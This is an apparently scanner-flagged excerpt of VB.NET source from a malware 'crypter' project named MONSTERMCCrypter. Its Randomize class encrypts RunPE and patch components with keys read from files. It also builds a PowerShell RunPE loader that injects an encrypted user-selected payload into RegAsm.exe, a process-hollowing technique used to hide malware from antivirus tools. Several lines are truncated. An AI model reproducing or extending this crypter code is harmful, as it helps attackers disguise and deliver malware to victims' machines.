Randomize.vb
.NET FromBase64String method referenceExactly one line exceeds 1000 chars
SHA-256a067245b6a5a8ffa435a0eefa461a6938d50bdf31341633233a44abf35edce2c
MaleculeO(As)H₂(DbPo)
Evidence
5:42… ms.mdiProperties
6
7Namespace MONSTERMCCrypterGUI.Randomize
8 Friend Class Randomize
9 Public Shared Function RandomIvKey(ByVal sizeinb As Integer) As Byte()
10 Dim random As Random = New Random()
11 Dim b = New Byte(sizeinb - 1) {}
12 random.NextBytes(b)
13 Return b
14 End Function
15
16 Public Shared Function SourceEncrypt() As Tuple(Of String, String, String, String, Byte(), String, String)
17 Return Tuple.Create(Convert.ToBase64String(Encrypt.Encrypt.Encryptor(Encoding.UTF8.GetBytes(Files.RunPe), Convert.FromBase64String(File.ReadAllText("Key.txt")), Convert.FromBase64String(File.ReadAllText("Iv.txt")))), Convert.ToBase64String(Encrypt.Encrypt.Encryptor(Encoding.UTF8.GetBytes(Files.Patch), Convert.FromBase64String(File.ReadAllText("Key.txt")), Convert.FromBase64String(File.ReadAllText("Iv.txt")))), Convert.ToBase64String(Powershell.Encryption.EncryptStringToBytes(Files.PowershellPatch, Convert.FromBase64String(File.ReadAllText("PowershellKey.txt")), Convert.FromBase64String(Fil …
17:700… tringToBytes(Files.PowershellRunPe.Replace("%PATH%", "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe").Replace("%PAYLOADHERE%", Convert.ToBase64String(Encrypt.Encrypt.Encryptor(File.ReadAllBytes(Forms.SubForms.Path.FilePath), Co …
17:1515… "))
18 End Function
19
20 Public Shared Function RunPe() As String
21 Dim sb As StringBuilder = New StringBuilder()
22 sb.Append(Files.PowershellRunPe)
23 …
24:85… ))
25 Return sb.ToString()
26 End Function
27 End Class
28End Namespace